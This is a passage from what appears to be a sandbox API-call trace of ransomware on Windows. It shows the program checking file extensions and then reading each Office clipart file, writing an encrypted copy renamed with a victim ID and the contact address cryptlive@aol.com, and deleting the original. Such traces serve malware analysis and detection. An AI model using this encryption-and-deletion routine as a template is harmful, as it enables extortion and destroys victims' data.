[0154.582] lstrlenW (lpString=".zip") returned 4 [0154.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.582] lstrlenW (lpString=".rar") returned 4 [0154.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString=".bz2") returned 4 [0154.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString=".7z") returned 3 [0154.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.582] lstrlenW (lpString=".dbf") returned 4 [0154.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.582] lstrlenW (lpString=".1cd") returned 4 [0154.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0154.582] lstrlenW (lpString=".jpg") returned 4 [0154.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.582] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.582] lstrlenW (lpString="J0107138.WMF") returned 12 [0154.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.588] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17200) returned 1 [0154.588] CloseHandle (hObject=0x380) returned 1 [0154.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0154.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.676] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.676] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.677] GetLastError () returned 0x0 [0154.677] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4330, lpOverlapped=0x0) returned 1 [0154.689] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4340, lpOverlapped=0x0) returned 1 [0154.690] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.690] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.690] SetEndOfFile (hFile=0x1b8) returned 1 [0154.690] CloseHandle (hObject=0x1b8) returned 1 [0154.690] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.690] SetEndOfFile (hFile=0x314) returned 1 [0154.693] CloseHandle (hObject=0x314) returned 1 [0154.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.710] lstrlenW (lpString=".doc") returned 4 [0154.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString=".docx") returned 5 [0154.710] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.710] lstrlenW (lpString=".pdf") returned 4 [0154.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString=".xls") returned 4 [0154.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.710] lstrlenW (lpString=".xlsx") returned 5 [0154.710] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.710] lstrlenW (lpString=".ppt") returned 4 [0154.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.710] lstrlenW (lpString=".zip") returned 4 [0154.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.710] lstrlenW (lpString=".rar") returned 4 [0154.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString=".bz2") returned 4 [0154.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString=".7z") returned 3 [0154.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.710] lstrlenW (lpString=".dbf") returned 4 [0154.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.710] lstrlenW (lpString=".1cd") returned 4 [0154.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.711] lstrlenW (lpString=".jpg") returned 4 [0154.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.711] lstrlenW (lpString=".doc") returned 4 [0154.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString=".docx") returned 5 [0154.711] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.711] lstrlenW (lpString=".pdf") returned 4 [0154.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString=".xls") returned 4 [0154.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.711] lstrlenW (lpString=".xlsx") returned 5 [0154.711] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.711] lstrlenW (lpString=".ppt") returned 4 [0154.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.711] lstrlenW (lpString=".zip") returned 4 [0154.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.711] lstrlenW (lpString=".rar") returned 4 [0154.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString=".bz2") returned 4 [0154.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.711] lstrlenW (lpString=".7z") returned 3 [0154.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.712] lstrlenW (lpString=".dbf") returned 4 [0154.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.712] lstrlenW (lpString=".1cd") returned 4 [0154.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0154.712] lstrlenW (lpString=".jpg") returned 4 [0154.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.712] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.712] lstrlenW (lpString="J0107254.WMF") returned 12 [0154.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.713] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=20212) returned 1 [0154.713] CloseHandle (hObject=0x1dc) returned 1 [0154.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20 [0154.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.713] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.714] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.715] GetLastError () returned 0x0 [0154.715] ReadFile (in: hFile=0x1dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4ef4, lpOverlapped=0x0) returned 1 [0154.728] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4f00, lpOverlapped=0x0) returned 1 [0154.730] ReadFile (in: hFile=0x1dc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.730] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.730] SetEndOfFile (hFile=0x1e0) returned 1 [0154.730] CloseHandle (hObject=0x1e0) returned 1 [0154.730] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.730] SetEndOfFile (hFile=0x1dc) returned 1 [0154.734] CloseHandle (hObject=0x1dc) returned 1 [0154.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0154.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.776] lstrlenW (lpString=".doc") returned 4 [0154.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString=".docx") returned 5 [0154.777] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.777] lstrlenW (lpString=".pdf") returned 4 [0154.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString=".xls") returned 4 [0154.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.777] lstrlenW (lpString=".xlsx") returned 5 [0154.777] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.777] lstrlenW (lpString=".ppt") returned 4 [0154.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.777] lstrlenW (lpString=".zip") returned 4 [0154.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.777] lstrlenW (lpString=".rar") returned 4 [0154.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString=".bz2") returned 4 [0154.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString=".7z") returned 3 [0154.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.777] lstrlenW (lpString=".dbf") returned 4 [0154.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.777] lstrlenW (lpString=".1cd") returned 4 [0154.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.777] lstrlenW (lpString=".jpg") returned 4 [0154.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.777] lstrlenW (lpString=".doc") returned 4 [0154.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.777] lstrlenW (lpString=".docx") returned 5 [0154.777] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.777] lstrlenW (lpString=".pdf") returned 4 [0154.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.778] lstrlenW (lpString=".xls") returned 4 [0154.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.778] lstrlenW (lpString=".xlsx") returned 5 [0154.778] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.778] lstrlenW (lpString=".ppt") returned 4 [0154.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.778] lstrlenW (lpString=".zip") returned 4 [0154.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.778] lstrlenW (lpString=".rar") returned 4 [0154.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.778] lstrlenW (lpString=".bz2") returned 4 [0154.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.778] lstrlenW (lpString=".7z") returned 3 [0154.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.778] lstrlenW (lpString=".dbf") returned 4 [0154.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.778] lstrlenW (lpString=".1cd") returned 4 [0154.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0154.778] lstrlenW (lpString=".jpg") returned 4 [0154.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.778] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.779] lstrlenW (lpString="J0107262.WMF") returned 12 [0154.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.787] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7996) returned 1 [0154.787] CloseHandle (hObject=0x314) returned 1 [0154.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20 [0154.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.790] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.790] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.791] GetLastError () returned 0x0 [0154.791] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1f3c, lpOverlapped=0x0) returned 1 [0154.793] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0154.794] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.794] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.794] SetEndOfFile (hFile=0x1b8) returned 1 [0154.794] CloseHandle (hObject=0x1b8) returned 1 [0154.794] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.795] SetEndOfFile (hFile=0x314) returned 1 [0154.797] CloseHandle (hObject=0x314) returned 1 [0154.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0154.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.798] lstrlenW (lpString=".doc") returned 4 [0154.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.798] lstrlenW (lpString=".docx") returned 5 [0154.798] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.798] lstrlenW (lpString=".pdf") returned 4 [0154.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.798] lstrlenW (lpString=".xls") returned 4 [0154.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.798] lstrlenW (lpString=".xlsx") returned 5 [0154.798] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.798] lstrlenW (lpString=".ppt") returned 4 [0154.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.798] lstrlenW (lpString=".zip") returned 4 [0154.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.798] lstrlenW (lpString=".rar") returned 4 [0154.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.798] lstrlenW (lpString=".bz2") returned 4 [0154.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.798] lstrlenW (lpString=".7z") returned 3 [0154.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.799] lstrlenW (lpString=".dbf") returned 4 [0154.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.799] lstrlenW (lpString=".1cd") returned 4 [0154.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.799] lstrlenW (lpString=".jpg") returned 4 [0154.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.799] lstrlenW (lpString=".doc") returned 4 [0154.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString=".docx") returned 5 [0154.799] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.799] lstrlenW (lpString=".pdf") returned 4 [0154.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString=".xls") returned 4 [0154.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.799] lstrlenW (lpString=".xlsx") returned 5 [0154.799] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.799] lstrlenW (lpString=".ppt") returned 4 [0154.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.799] lstrlenW (lpString=".zip") returned 4 [0154.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.799] lstrlenW (lpString=".rar") returned 4 [0154.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString=".bz2") returned 4 [0154.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.799] lstrlenW (lpString=".7z") returned 3 [0154.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.800] lstrlenW (lpString=".dbf") returned 4 [0154.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.800] 